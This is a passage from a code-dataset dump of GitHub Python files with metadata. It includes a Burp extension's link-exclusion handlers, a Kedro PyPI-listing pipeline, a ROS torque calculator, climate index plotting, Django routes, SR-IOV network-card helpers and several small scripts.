self.extender.settings.linkExclusionsModel.editEntryRegex(index, result)\n except Exception as e: self.extender.stderr.println(\"[-] Failed editing link exclusion: %s\" % e.__class__.__name__)\n self.applyLinkExclusions()\n self.extender.settings.saveSettings()\n\n def removeSelectedLinkExclusions(self):\n selectedRowIndexes = self.extender.linkExclusionsTable.getSelectedRows()\n for i in selectedRowIndexes[::-1]: self.extender.settings.linkExclusionsModel.removeEntry(i)\n self.applyLinkExclusions()\n self.extender.settings.saveSettings()\n\n def clearLinkExclusions(self):\n self.extender.settings.linkExclusionsModel.clearEntries()\n #self.applyLinkExclusions() # has no effect\n self.extender.settings.saveSettings()\n\n def loadLinkExclusions(self):\n try:\n result = self.extender.fileChooser.showOpenDialog(self.extender.tabbedPane)\n if result == swing.JFileChooser.APPROVE_OPTION:\n selectedFile = self.extender.fileChooser.getSelectedFile()\n with open(selectedFile.getCanonicalPath(), \"r\") as infile:\n regexStrings = [i for i in infile.read().splitlines() if len(i) > 0]\n for regexStr in regexStrings: self.extender.settings.linkExclusionsModel.addEntry(regexStr)\n self.applyLinkExclusions()\n except Exception as e: self.extender.stderr.println(\"[-] Failed loading link exclusion(s) from file: %s\" % e.__class__.__name__)\n self.extender.settings.saveSettings()\n \n\n def toggleLinkExclusions(self):\n selectedRowIndexes = self.extender.linkExclusionsTable.getSelectedRows()\n if len(selectedRowIndexes) > 0:\n self.extender.settings.linkExclusionsModel.toggleEntries(selectedRowIndexes)\n self.applyLinkExclusions()\n self.extender.settings.saveSettings()\n \n def applyLinkExclusions(self):\n regexes = [i.regex for i in self.extender.settings.linkExclusionsModel.entries if i.enabled]\n for i in range(self.extender.linksModel.entries.size()-1, -1, -1):\n if any([regex.search(self.extender.linksModel.entries.get(i).url) for regex in regexes]): self.extender.linksModel.entries.remove(i)\n for i in range(self.extender.sourcesModel.entries.size()):\n entry = self.extender.sourcesModel.entries.get(i)\n for j in range(len(entry.links)-1, -1, -1):\n if any([regex.search(entry.links[j].url) for regex in regexes]): del entry.links[j]\n\n def exportAsText(self):\n try:\n result = self.extender.fileChooser.showSaveDialog(self.extender.tabbedPane)\n if result == swing.JFileChooser.APPROVE_OPTION:\n selectedFile = self.extender.fileChooser.getSelectedFile()\n with open(selectedFile.getCanonicalPath(), \"w\") as outfile:\n outfile.write(\"\\n\".join(self.extender.linksModel.getAllUrls()))\n except Exception as e:\n self.extender.stderr.println(\"[-] Failed exporting to file: %s\" % e.__class__.__name__)\n\n def clearFindings(self):\n result = swing.JOptionPane.showOptionDialog(self.extender.tabbedPane, \\\n self.extender.stStrings[\"clearFindingsDialog\"], \\\n \"Clear Findings\", \\\n swing.JOptionPane.YES_NO_OPTION, \\\n swing.JOptionPane.WARNING_MESSAGE, \\\n None, None, None)\n if result == swing.JOptionPane.YES_OPTION:\n self.extender.sourcesModel.clearEntries()\n self.extender.linksModel.clearEntries()\n \n\n\nclass EventHandler(swing.AbstractAction):\n \n def __init__(self, actionHandler):\n self.actionHandler = actionHandler\n\n def actionPerformed(self, actionEvent):\n if actionEvent.getActionCommand() == \"toggleInScopeOnly\": self.actionHandler.toggleInScopeOnly()\n elif actionEvent.getActionCommand() == \"toggleIgnoreDups\": self.actionHandler.toggleIgnoreDups()\n\n elif actionEvent.getActionCommand() == \"toggleToolSelectionProxy\": self.actionHandler.toggleToolSelection(\"proxy\")\n elif actionEvent.getActionCommand() == \"toggleToolSelectionSpider\": self.actionHandler.toggleToolSelection(\"spider\")\n elif actionEvent.getActionCommand() == \"toggleToolSelectionScanner\": self.actionHandler.toggleToolSelection(\"scanner\")\n\n elif actionEvent.getActionCommand() == \"setProcess0\": self.actionHandler.setProcessSetting(0)\n elif actionEvent.getActionCommand() == \"setProcess1\": self.actionHandler.setProcessSetting(1)\n elif actionEvent.getActionCommand() == \"setProcess2\": self.actionHandler.setProcessSetting(2)\n \n elif actionEvent.getActionCommand() == \"addSourceExclusion\": self.actionHandler.addSourceExclusion()\n elif actionEvent.getActionCommand() == \"editSourceExclusion\": self.actionHandler.editSourceExclusion()\n elif actionEvent.getActionCommand() == \"removeSelectedSourceExclusions\": self.actionHandler.removeSelectedSourceExclusions()\n elif actionEvent.getActionCommand() == \"clearSourceExclusions\": self.actionHandler.clearSourceExclusions()\n elif actionEvent.getActionCommand() == \"loadSourceExclusions\": self.actionHandler.loadSourceExclusions()\n elif actionEvent.getActionCommand() == \"toggleSourceExclusions\": self.actionHandler.toggleSourceExclusions()\n\n elif actionEvent.getActionCommand() == \"addLinkExclusion\": self.actionHandler.addLinkExclusion()\n elif actionEvent.getActionCommand() == \"editLinkExclusion\": self.actionHandler.editLinkExclusion()\n elif actionEvent.getActionCommand() == \"removeSelectedLinkExclusions\": self.actionHandler.removeSelectedLinkExclusions()\n elif actionEvent.getActionCommand() == \"clearLinkExclusions\": self.actionHandler.clearLinkExclusions()\n elif actionEvent.getActionCommand() == \"loadLinkExclusions\": self.actionHandler.loadLinkExclusions()\n elif actionEvent.getActionCommand() == \"toggleLinkExclusions\": self.actionHandler.toggleLinkExclusions()\n\n elif actionEvent.getActionCommand() == \"exportAsText\": self.actionHandler.exportAsText()\n elif actionEvent.getActionCommand() == \"clearFindings\": self.actionHandler.clearFindings()\n","repo_name":"NULLHE4D/LinkExtractor","sub_path":"LinkExtractor.py","file_name":"LinkExtractor.py","file_ext":"py","file_size_in_byte":47965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32281537146","text":"def isPrime(num) :\n if num == 2 : return True\n else :\n for i in range(2, int(num**(1/2))+1) :\n if num % i == 0 : \n return False\n return True\n \nprime_num = []\nfor i in range(2, (123456*2)+1) :\n if isPrime(i) :\n prime_num.append(i)\n\nwhile True :\n a = int(input())\n count = 0\n if a == 0 : \n break\n else :\n for i in prime_num :\n if a < i <= 2*a :\n count += 1\n print(count)","repo_name":"stu0430/BOJ","sub_path":"백준/Silver/4948. 베르트랑 공준/베르트랑 공준.py","file_name":"베르트랑 공준.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21862941264","text":"# -*- coding: utf-8 -*-\n#! Python3\n\n#? @author: Renan Silva\n#? @github: https://github.com/rfelipesilva\n\nimport os\n\nfrom Configuration import Path\n\nclass Verify:\n\n \"\"\"\n Verify will make sure all mandatory files e data are avaiable to be used.\n \"\"\"\n\n def __init__(self):\n\n self.picturessFolder = Path().dataset\n self.filesFolder = Path().reconhecedores\n self.model = Path().models\n\n #verifica se existe fotos capturadas para treinar o modelo\n def verifyDataset(self):\n\n datasetAmount = os.listdir(self.picturessFolder)\n if len(datasetAmount) > 10: return True\n else: return False\n\n #verifica se arquivo do modelo foi criado\n def verifyClassifier(self):\n\n files = os.listdir(self.model)\n checkClassifier = False\n for eachFile in files:\n if 'classificadorLBPH.yml' in eachFile:\n checkClassifier = True\n else: pass\n\n return checkClassifier\n\n #verifica se arquivos de deteccao foram criados\n def verifyDetectors(self):\n\n files = os.listdir(self.filesFolder)\n if 'deteccaoface.xml' and 'haarcascade-frontalface-default.xml' and 'haarcascade-frontalface-default.xml' in files:\n return True\n else: return False\n\n def verifyFiles(self):\n check = False\n while check == False:\n if self.verifyDataset() == False or self.verifyClassifier() == False or self.verifyDetectors == False:\n check = False\n return False\n else:\n check = True\n return True","repo_name":"rfelipesilva/desktopapp-facerecognition-python37","sub_path":"source_code/Exceptions.py","file_name":"Exceptions.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27590900685","text":"\"\"\"\npypi-list\n\nListing python packages from pypi, and finding available single word packages.\n\n\n## Run the Pipeline at the command line\n\n``` bash\n# Run with existing package data\npython pypi-list.py\n\n# Full run\npython pypi-list.py --full\n```\n\n## Run the Pipeline with a python repl\n\n``` python\nfrom pypi_list import run_project\n\nrun_project() # run local datasets only\nrun_project(full=True) # run full pipeline including network requests\n```\n\n\"\"\"\nimport logging\nfrom typing import List, Optional\n\nimport requests\nfrom kedro.extras.datasets.json import JSONDataSet\nfrom kedro.extras.datasets.pickle.pickle_dataset import PickleDataSet\nfrom kedro.io import DataCatalog\nfrom kedro.pipeline import Pipeline, node\nfrom kedro.runner.sequential_runner import SequentialRunner\n\nlogger = logging.getLogger(__name__)\n\n__version__ = \"0.4.0\"\n\n\ndef get_body(packages: str) -> str:\n \"\"\"Get the body tag from the full page html.\"\"\"\n\n tag = \"\\n\"\n index = packages.find(tag) + len(tag)\n packages = packages[index:]\n packages = packages[: packages.find(tag)]\n return packages\n\n\ndef remove_html_tags(text: str) -> List[str]:\n \"\"\"Remove html tags from a string\"\"\"\n import re\n\n clean = re.compile(\"<.*?>\")\n return re.sub(clean, \"\", text).lower().split()\n\n\npipeline = Pipeline(\n nodes=[\n node(\n lambda: requests.get(\n \"https://raw.githubusercontent.com/dwyl/english-words/master/words_alpha.txt\"\n ).text,\n inputs=None,\n outputs=\"raw_words_alpha\",\n name=\"raw_words_alpha\",\n ),\n node(\n lambda: requests.get(\"https://pypi.org/simple/\").text,\n inputs=None,\n outputs=\"raw_packages\",\n name=\"raw_packages\",\n ),\n node(\n get_body,\n inputs=\"raw_packages\",\n outputs=\"package_body\",\n name=\"package_body\",\n ),\n node(\n remove_html_tags,\n inputs=\"package_body\",\n outputs=\"packages\",\n name=\"packages\",\n ),\n node(\n lambda words: words.split(),\n inputs=\"raw_words_alpha\",\n outputs=\"words\",\n name=\"words\",\n ),\n node(\n lambda words, packages: list(set(words) - set(packages)),\n inputs=[\"words\", \"packages\"],\n outputs=\"available\",\n name=\"available\",\n ),\n node(\n lambda words, packages: list(set(words) & set(packages)),\n inputs=[\"words\", \"packages\"],\n outputs=\"unavailable\",\n name=\"unavailable\",\n ),\n node(\n lambda x: x,\n inputs=\"packages\",\n outputs=\"packages_json\",\n name=\"packages_json\",\n tags=[\"json\"],\n ),\n node(\n lambda x: x,\n inputs=\"available\",\n outputs=\"available_json\",\n name=\"available_json\",\n tags=[\"json\"],\n ),\n node(\n lambda x: x,\n inputs=\"unavailable\",\n outputs=\"unavailable_json\",\n name=\"unavailable_json\",\n tags=[\"json\"],\n ),\n ]\n)\n\ndefault_entries = {\n name: PickleDataSet(filepath=f\"data/{name}.pkl\") for name in pipeline.all_outputs()\n}\n\njson_outputs = {\n name: JSONDataSet(filepath=f\"data/{name.replace('_json', '')}.json\")\n for name in pipeline.only_nodes_with_tags(\"json\").outputs()\n}\n\n\ncatalog = DataCatalog(\n {\n **default_entries,\n **json_outputs,\n }\n)\n\nrunner = SequentialRunner()\n\n\ndef run_project(full: Optional[bool] = None):\n \"\"\"\n Run the project.\n\n Parameters\n --------\n full : bool\n runs the full pipeline if True\n skips network calls if False\n checks sys.arv for --full if None\n\n Returns\n --------\n None\n\n Examples\n --------\n >>> from pypi_list import run_project\n >>> run_project() # run local datasets only\n >>> run_project(full=True) # run full pipeline including network requests\n\n \"\"\"\n import sys\n\n if \"--full\" in sys.argv and full is None:\n full = True\n\n if full:\n runner.run(pipeline, catalog)\n\n else:\n runner.run(\n Pipeline([node for node in pipeline.nodes if \"raw\" not in node.name]),\n catalog,\n )\n\n\nif __name__ == \"__main__\":\n run_project()\n","repo_name":"WaylonWalker/pypi-list","sub_path":"pypi_list/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36678350150","text":"#!/usr/bin/env python3\nimport rospy\nimport numpy as np\nfrom snake_demo.msg import feedback_angles\nfrom snake_demo.msg import calculations\nfrom snake_demo.msg import torques\n\nk = 3550 # UNITS: N/m\nr = 0.023622 #distance from spring to center, UNITS: m\n\nt = calculations()\npub = rospy.Publisher(\"Calculations\", torques, queue_size = 10)\n\ntimestamps_vector = np.zeros(4)\ntimestamps_difference = np.zeros(3)\nangle_matrix = np.zeros((5,4))\nvelocity_matrix = np.zeros((5,3))\n\ndef callback(data):\n t.timestamp = data.timestamp\n global timestamps_vector\n global angle_matrix \n\n timestamps_vector = timestamps_vector[1:]\n timestamps_vector = np.append(timestamps_vector, data.timestamp)\n\n enc_angle1 = data.enc_angle1\n enc_angle2 = data.enc_angle2\n enc_angle3 = data.enc_angle3\n enc_angle4 = data.enc_angle4\n enc_angle5 = data.enc_angle5\n\n dxl_angle1 = data.dxl_angle1\n dxl_angle2 = data.dxl_angle2\n dxl_angle3 = data.dxl_angle3\n dxl_angle4 = data.dxl_angle4\n dxl_angle5 = data.dxl_angle5\n \n t.torque1 = calculate_torque(enc_angle1, dxl_angle1)\n t.torque2 = calculate_torque(enc_angle2, dxl_angle2)\n t.torque2 = 0\n t.torque3 = calculate_torque(enc_angle3, dxl_angle3)\n t.torque4 = calculate_torque(enc_angle4, dxl_angle4)\n t.torque5 = calculate_torque(enc_angle5, dxl_angle5)\n\n ### VELOCITY CALCULATION ###\n\n new_angle_vector = np.array([enc_angle1, enc_angle2, enc_angle3, enc_angle4, enc_angle5])\n angle_matrix = np.delete(angle_matrix, 0, axis = 1)\n angle_matrix = np.column_stack((angle_matrix, new_angle_vector))\n\n calculate_velocities()\n \n t.angvel1 = np.mean(velocity_matrix[0,:])\n t.angvel1 = 0\n t.angvel2 = np.mean(velocity_matrix[1,:])\n t.angvel2 = 0\n t.angvel3 = np.mean(velocity_matrix[2,:])\n t.angvel4 = np.mean(velocity_matrix[3,:])\n t.angvel5 = np.mean(velocity_matrix[4,:])\n\n if not rospy.is_shutdown():\n pub.publish(t)\n\ndef main():\n\n rospy.init_node(\"calculator\", anonymous = False)\n rospy.Subscriber(\"feedback_angle_topic\", feedback_angles, callback)\n rospy.spin()\n\ndef calculate_torque(enc_angle, dxl_angle):\n dtheta = enc_angle - dxl_angle\n F = -2*k*r*np.sin(np.deg2rad(dtheta/2))\n torque = r*F*np.sin(np.deg2rad(90-dtheta/2))\n return torque\n\ndef calculate_velocities():\n #calculate differences between current iter and past iter encoder angle\n timestamps_difference[0] = (timestamps_vector[1] - timestamps_vector[0])/1000000\n timestamps_difference[1] = (timestamps_vector[2] - timestamps_vector[1])/1000000\n timestamps_difference[2] = (timestamps_vector[3] - timestamps_vector[2])/1000000\n velocity_matrix[:,0] = (angle_matrix[:,1]-angle_matrix[:,0])/timestamps_difference[0]\n velocity_matrix[:,1] = (angle_matrix[:,2]-angle_matrix[:,1])/timestamps_difference[1]\n velocity_matrix[:,2] = (angle_matrix[:,3]-angle_matrix[:,2])/timestamps_difference[2]\n\n\nif __name__==\"__main__\":\n try:\n main()\n except rospy.ROSInterrputException:\n pass\n","repo_name":"roamlab/LandSnake","sub_path":"snake_ws_git/src/snake_demo/scripts/torque.py","file_name":"torque.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"43306297786","text":"# -*- coding: utf-8 -*-\n'''\nPPT changes in high southern latitudes\n\nThis script reads renalyses and calculates its ensamble mean.\n\nUsing the functions zw3_index and sam_index available on mscbib,\nit is acquired the indices along with secondary statistics of their\ntemporal evolution (trend, error, significance)\n\nNatália Silva (2021)\nnatalia3.silva@usp.br\n'''\n\nfrom mscbib import my_cmap, tinv, ptext, sam_index, zw3_index\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport glob\nimport xarray as xr\nimport datetime\nimport warnings\nimport seaborn as sns\nwarnings.filterwarnings(\"ignore\")\n\nplt.style.use('seaborn-darkgrid')\nplt.rcParams[\"figure.figsize\"] = (14, 5)\nsns.set_context('talk') # large fontsize\nc = my_cmap(8, 'R')\n\n\n# *_*_*_*_*_*_*_*_*_*_* READ AND CONCATENATE DATA _*_*_*_*_*_*_*_*_*_*\n# *_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_\n\n# ####### Reanalysis #######\nfiles = sorted(glob.glob('/Volumes/snati/data/SLP/*.nc'))\ndset = []\nfor f in files:\n ds = xr.open_dataset(f, drop_variables=[\n 'initial_time0_encoded', 'time_bnds'])\n ds.sel(lat=slice(-89.5, -40.5))\n dset.append(ds)\n\n\n# Change calendars for monthly data\nfor i in range(len(dset)):\n if i == 1:\n ti = datetime.date(1979, 1, 1)\n tf = datetime.date(2011, 1, 1)\n dset[i]['time'] = np.arange(ti, tf, dtype='datetime64[M]')\n elif i == 5:\n ti, tf = dset[i].time[0], dset[i].time[-3].values + \\\n np.timedelta64(31, 'D')\n dset[i]['time'] = np.arange(ti.values, tf, dtype='datetime64[M]')\n else:\n ti, tf = dset[i].time[0], dset[i].time[-1].values + \\\n np.timedelta64(31, 'D')\n dset[i]['time'] = np.arange(ti.values, tf, dtype='datetime64[M]')\n\n\nrean = ['20thCV3', 'CFSR', 'ERA-20', 'ERA-I', 'JRA55', 'MERRA2', 'NCEP2']\ndata = xr.concat(dset, dim='realization').assign_coords({'realization': rean})\np = data.sel(time=slice('1900', '2014'))\np['slp'] /= 100\nslp = xr.concat([p, p.mean('realization').assign_coords(\n {'realization': 'MRM7'})], dim='realization')\n\n\n# *_*_*_*_*_*_*_* Calculate the Southern Annular Mode Index *_*_*_*_*_*_*_*_*_\nidx = sam_index(slp)\n# idx = zw3_index(slp)\n\ntic = np.arange('1900-01', '2015-01', 120, dtype='datetime64[M]')\nlab = ['1900', '1910', '1920', '1930', '1940', '1950',\n '1960', '1970', '1980', '1990', '2000', '2010']\n\nax = idx['idx'].loc[:, :'NCEP2'].plot(color=c, linewidth=1, alpha=1,\n zorder=1, xticks=[])\nidx['idx']['MRM7'].plot(linewidth=2, color='black', alpha=0.4, xticks=tic)\nidx['linebef'].plot(color='black')\nidx['lineaft'].plot(color='black')\nplt.xlabel('yr')\nplt.ylabel('I$_{SAM}$')\nlim = ax.get_ylim()\nplt.ylim(lim)\nplt.xlim(idx['idx'].index[0], idx['idx'].index[-1])\nplt.xticks(tic, lab)\nplt.text(idx['idx'].index[5], lim[1] - 1, 'BEF80: ' + f\"{idx['fitBEF'].slope * 10: .2e} +/- {idx['errob'] * idx['fitBEF'].stderr * 10: .2e}\" + '; ' + idx['pB80'])\nplt.text(idx['idx'].index[5], lim[1] - 3, 'AFT80: ' + f\"{idx['fitAFT'].slope * 10: .2e} +/- {idx['errob'] * idx['fitAFT'].stderr * 10: .2e}\" + '; ' + idx['pA80'])\nplt.subplots_adjust(left=0.07, bottom=0.15, right=0.8)\nax.legend(bbox_to_anchor=(0.25, 0.1, 0.95, 0.95))\nplt.show()\n# plt.savefig('zw3.pdf', dpi=50, facecolor='w', format='pdf')\nplt.close()\n\n\n# FIM\n","repo_name":"snatalias/Precipitation_changes_in_Antarctica","sub_path":"MSC_indices.py","file_name":"MSC_indices.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14936683535","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom producto import views as vproductos\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'monze.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n url(r'^$',vproductos.index, name = 'inicio'),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^conocenos/$', vproductos.conocenos, name='conocenos'),\n url(r'^politicas/$', vproductos.politicas, name='politicas'),\n url(r'^contacto/$', vproductos.contacto, name='contacto'), \n url(r'^producto/$', vproductos.productos, name='productos'),\n url(r'^producto/agregar/$', vproductos.AgregarProducto.as_view(), name=\"agregar-producto\"),\n url(r'^producto/editar/(?P\\d{1,})/$', vproductos.EditarProducto.as_view(), name=\"editar-producto\"),\n url(r'^producto/eliminar/(?P\\d{1,})/$', vproductos.eliminarProducto, name=\"borrar-producto\"),\n\n)\n","repo_name":"Gmora08/productos","sub_path":"monze/monze/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43186409866","text":"import os\nimport subprocess\nimport logging\nimport glob\nfrom conf import settings\n\n_LOGGER = logging.getLogger('tools.networkcard')\n\n_PCI_DIR = '/sys/bus/pci/devices/{}/'\n_SRIOV_NUMVFS = os.path.join(_PCI_DIR, 'sriov_numvfs')\n_SRIOV_TOTALVFS = os.path.join(_PCI_DIR, 'sriov_totalvfs')\n_SRIOV_VF_PREFIX = 'virtfn'\n_SRIOV_PF = 'physfn'\n_PCI_NET = 'net'\n_PCI_DRIVER = 'driver'\n\n\ndef check_pci(pci_handle):\n \"\"\" Checks if given extended PCI handle has correct length and fixes\n it if possible.\n\n :param pci_handle: PCI slot identifier. It can contain vsperf specific\n suffix after '|' with VF indication. e.g. '0000:05:00.0|vf1'\n\n :returns: PCI handle\n \"\"\"\n pci = pci_handle.split('|')\n pci_len = len(pci[0])\n if pci_len == 12:\n return pci_handle\n elif pci_len == 7:\n pci[0] = '0000:' + pci[0][-7:]\n _LOGGER.debug('Adding domain part to PCI slot %s', pci[0])\n return '|'.join(pci)\n elif pci_len > 12:\n pci[0] = pci[0][-12:]\n _LOGGER.warning('PCI slot is too long, it will be shortened to %s', pci[0])\n return '|'.join(pci)\n else:\n # pci_handle has a strange length, but let us try to use it\n _LOGGER.error('Unknown format of PCI slot %s', pci_handle)\n return pci_handle\n\ndef is_sriov_supported(pci_handle):\n \"\"\" Checks if sriov is supported by given NIC\n\n :param pci_handle: PCI slot identifier with domain part.\n\n :returns: True on success, False otherwise\n \"\"\"\n return os.path.isfile(_SRIOV_TOTALVFS.format(pci_handle))\n\ndef is_sriov_nic(pci_handle):\n \"\"\" Checks if given extended PCI ID refers to the VF\n\n :param pci_handle: PCI slot identifier with domain part. It can contain\n vsperf specific suffix after '|' with VF indication.\n e.g. '0000:05:00.0|vf1'\n\n :returns: True on success, False otherwise\n \"\"\"\n for item in pci_handle.split('|'):\n if item.lower().startswith('vf'):\n return True\n return False\n\ndef set_sriov_numvfs(pci_handle, numvfs):\n \"\"\" Checks if sriov is supported and configures given number of VFs\n\n :param pci_handle: PCI slot identifier with domain part.\n :param numvfs: Number of VFs to be configured at given NIC.\n\n :returns: True on success, False otherwise\n \"\"\"\n if not is_sriov_supported(pci_handle):\n return False\n\n if get_sriov_numvfs(pci_handle) == numvfs:\n return True\n\n if numvfs and get_sriov_numvfs(pci_handle) != 0:\n if not set_sriov_numvfs(pci_handle, 0):\n return False\n\n try:\n subprocess.call('sudo bash -c \"echo {} > {}\"'.format(numvfs, _SRIOV_NUMVFS.format(pci_handle)), shell=True)\n return get_sriov_numvfs(pci_handle) == numvfs\n except OSError:\n _LOGGER.debug('Number of VFs cant be changed to %s for PF %s', numvfs, pci_handle)\n return False\n\ndef get_sriov_numvfs(pci_handle):\n \"\"\" Returns the number of configured VFs\n\n :param pci_handle: PCI slot identifier with domain part\n :returns: the number of configured VFs\n \"\"\"\n if is_sriov_supported(pci_handle):\n with open(_SRIOV_NUMVFS.format(pci_handle), 'r') as numvfs:\n return int(numvfs.readline().rstrip('\\n'))\n\n return None\n\ndef get_sriov_totalvfs(pci_handle):\n \"\"\" Checks if sriov is supported and returns max number of supported VFs\n\n :param pci_handle: PCI slot identifier with domain part\n :returns: the max number of supported VFs by given NIC\n \"\"\"\n if is_sriov_supported(pci_handle):\n with open(_SRIOV_TOTALVFS.format(pci_handle), 'r') as total:\n return int(total.readline().rstrip('\\n'))\n\n return None\n\ndef get_sriov_vfs_list(pf_pci_handle):\n \"\"\" Returns list of PCI handles of VFs configured at given NIC/PF\n\n :param pf_pci_handle: PCI slot identifier of PF with domain part.\n :returns: list\n \"\"\"\n vfs = []\n if is_sriov_supported(pf_pci_handle):\n for vf_name in glob.glob(os.path.join(_PCI_DIR, _SRIOV_VF_PREFIX + '*').format(pf_pci_handle)):\n vfs.append(os.path.basename(os.path.realpath(vf_name)))\n\n return vfs\n\ndef get_sriov_pf(vf_pci_handle):\n \"\"\" Get PCI handle of PF which belongs to given VF\n\n :param vf_pci_handle: PCI slot identifier of VF with domain part.\n :returns: PCI handle of parent PF\n \"\"\"\n pf_path = os.path.join(_PCI_DIR, _SRIOV_PF).format(vf_pci_handle)\n if os.path.isdir(pf_path):\n return os.path.basename(os.path.realpath(pf_path))\n\n return None\n\ndef get_driver(pci_handle):\n \"\"\" Returns name of kernel driver assigned to given NIC\n\n :param pci_handle: PCI slot identifier with domain part.\n :returns: string with assigned kernel driver, None otherwise\n \"\"\"\n driver_path = os.path.join(_PCI_DIR, _PCI_DRIVER).format(pci_handle)\n if os.path.isdir(driver_path):\n return os.path.basename(os.path.realpath(driver_path))\n\n return None\n\ndef get_device_name(pci_handle):\n \"\"\" Returns name of network card device name\n\n :param pci_handle: PCI slot identifier with domain part.\n :returns: string with assigned NIC device name, None otherwise\n \"\"\"\n net_path = os.path.join(_PCI_DIR, _PCI_NET).format(pci_handle)\n try:\n return os.listdir(net_path)[0]\n except FileNotFoundError:\n return None\n except IndexError:\n return None\n\n return None\n\ndef get_mac(pci_handle):\n \"\"\" Returns MAC address of given NIC\n\n :param pci_handle: PCI slot identifier with domain part.\n :returns: string with assigned MAC address, None otherwise\n \"\"\"\n mac_path = glob.glob(os.path.join(_PCI_DIR, _PCI_NET, '*', 'address').format(pci_handle))\n # kernel driver is loaded and MAC can be read\n if mac_path and os.path.isfile(mac_path[0]):\n with open(mac_path[0], 'r') as _file:\n return _file.readline().rstrip('\\n')\n\n # MAC address is unknown, e.g. NIC is assigned to DPDK\n return None\n\ndef get_nic_info(full_pci_handle):\n \"\"\" Parse given pci handle with additional info and returns\n requested NIC info.\n\n :param full_pci_handle: A string with extended network card PCI ID.\n extended PCI ID syntax: PCI_ID[|vfx][|(mac|dev)]\n examples:\n 0000:06:00.0 - returns the same value\n 0000:06:00.0|vf0 - returns PCI ID of 1st virtual function of given NIC\n 0000:06:00.0|mac - returns MAC address of given NIC\n 0000:06:00.0|vf0|mac - returns MAC address of 1st virtual function of given NIC\n\n :returns: A string with requested NIC data or None if data cannot be read.\n \"\"\"\n parsed_handle = full_pci_handle.split('|')\n if len(parsed_handle) not in (1, 2, 3):\n _LOGGER.error(\"Invalid PCI device name: '%s'\", full_pci_handle)\n return None\n\n pci_handle = parsed_handle[0]\n\n for action in parsed_handle[1:]:\n # in case of SRIOV get PCI handle of given virtual function\n if action.lower().startswith('vf'):\n try:\n vf_num = int(action[2:])\n pci_handle = get_sriov_vfs_list(pci_handle)[vf_num]\n except ValueError:\n _LOGGER.error(\"Pci device '%s', does not have VF with index '%s'\", pci_handle, action[2:])\n return None\n except IndexError:\n _LOGGER.error(\"Pci device '%s', does not have VF with index '%s'\", pci_handle, vf_num)\n return None\n continue\n\n # return requested info for given PCI handle\n if action.lower() == 'mac':\n return get_mac(pci_handle)\n elif action.lower() == 'dev':\n return get_device_name(pci_handle)\n else:\n _LOGGER.error(\"Invalid item '%s' in PCI handle '%s'\", action, full_pci_handle)\n return None\n\n return pci_handle\n\ndef reinit_vfs(pf_pci_handle):\n \"\"\" Reinitializates all VFs, which belong to given PF\n\n :param pf_pci_handle: PCI slot identifier of PF with domain part.\n \"\"\"\n rte_pci_tool = settings.getValue('TOOLS')['bind-tool']\n\n for vf_nic in get_sriov_vfs_list(pf_pci_handle):\n nic_driver = get_driver(vf_nic)\n if nic_driver:\n try:\n subprocess.call(['sudo', rte_pci_tool, '--unbind', vf_nic],\n stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n subprocess.call(['sudo', rte_pci_tool, '--bind=' + nic_driver, vf_nic],\n stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n except subprocess.CalledProcessError:\n _LOGGER.warning('Error during reinitialization of VF %s', vf_nic)\n else:\n _LOGGER.warning(\"Can't detect driver for VF %s\", vf_nic)\n","repo_name":"opnfv/vswitchperf","sub_path":"tools/networkcard.py","file_name":"networkcard.py","file_ext":"py","file_size_in_byte":8700,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"47"} +{"seq_id":"14703998458","text":"from setuptools import setup\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(name='ml_board',\n version='0.0.1',\n description=\"A machine learning dashboard that displays hyperparameter settings alongside visualizations, and logs the scientist's thoughts throughout the training process\",\n long_description = long_description,\n long_description_content_type=\"text/markdown\",\n url='http://github.com/bbli/ml_board',\n author='Benson Li',\n scripts=['bin/ml_board'],\n author_email='bensonbinbinli@gmail.com',\n license='MIT',\n packages=['ml_board'],\n install_requires=[\n 'dash_core_components==0.21.0rc1',\n 'dash-renderer',\n 'plotly',\n 'dash_html_components',\n 'pymongo',\n 'numpy',\n 'dash',\n 'Pillow',\n 'dash_table_experiments==0.6.0'\n ],\n classifiers=(\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n )\n )\n","repo_name":"bbli/ml_board","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"47"} +{"seq_id":"9710277074","text":"#!/usr/bin/env python3\n\"\"\"\n question_answering.py - Question Answering using vector representation of phrase\n Author: Dung Le (dungle@bennington.edu)\n Date: 02/12/2017\n\"\"\"\n\nimport json\nimport gensim\nimport numpy as np\nimport scipy\n\n# Load Google's pre-trained Word2Vec model.\nmodel = gensim.models.KeyedVectors.load_word2vec_format('../../../../Natural Language Processing/Miscellaneous/GoogleNews-vectors-negative300.bin', binary=True)\nvocab = model.vocab.keys()\n\n# Command Phrase and its Vector Representation\ndef command_representation(command):\n cmd_words = 